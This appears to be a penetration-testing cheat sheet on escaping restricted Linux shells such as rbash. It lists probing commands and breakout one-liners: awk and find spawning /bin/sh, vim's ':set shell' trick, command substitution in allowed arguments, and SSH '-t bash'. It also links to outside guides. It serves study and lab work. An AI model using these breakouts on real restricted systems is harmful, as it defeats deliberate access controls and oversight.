# Escaping Restricted Shells

First check what commands can we execute.\
Try running varied commands.

```sh
awk 'BEGIN {system("/bin/sh")}'
bash
cat
cd
cp
declare
echo
echo $PATH
echo $SHELL
echo /usr/bin/*
echo /home/<username>/bin/*
echo "bash -i" | tee rbypass.sh
ed
env
export
expect
find
find / -name foobar -exec /bin/sh \;
ftp
git
less
more
man ls
pinfo ls
links
lynx
mutt
ls
nano
nmap
ne
printenv
printf
# List all files in current directory
printf '%s\n' *(D)
pwd
set
sudo
sudo -l
tar
touch
vi
vim
whereis
which
whoami
zip

# Programming languages
perl
php
python
python2
python3
python3.x
ruby

# Commands with absolute path
/bin/bash
/bin/sh
/usr/bin/cat
/usr/bin/ls


# Special characters
>
>>
<
|
&
$
$(whoami)
;
:
'
"
`
```

Some command can be abused - check gtfobin - Example vim

`vim`

`:set shell=/bin/sh`

`:shell`

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FxONF9QYes6PAarF4yyZi%2Fimage.png?alt=media&#x26;token=0810018e-a370-4ba9-906d-a446d301cb73" alt=""><figcaption></figcaption></figure>

More at:

{% embed url="<https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/>" %}

{% embed url="<https://blog.certcube.com/restricted-shells-escaping-techniques/>" %}

Shell only allows us to execute the `ls` command with a specific set of arguments, such as `ls -l` or `ls -a`

```shell-session
ls -l `pwd` 
```

## rbash

Add `-t bash` to the SSH connection command

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FykZAjar4zcNTxk2VjynB%2Fimage.png?alt=media&#x26;token=ce18cca6-c163-4f61-8e10-191b6d534be3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FvcmGIgYfEg7zpffFb16m%2Fimage.png?alt=media&#x26;token=d4df33f2-b04d-4008-a3a0-842097df53de" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf>" %}

## Resources

{% embed url="<https://0xdf.gitlab.io/2020/04/30/htb-solidstate.html>" %}

{% embed url="<https://vk9-sec.com/linux-restricted-shell-bypass/>" %}

{% embed url="<https://exploit-notes.hdks.org/exploit/network/protocol/restricted-shell-bypass/>" %}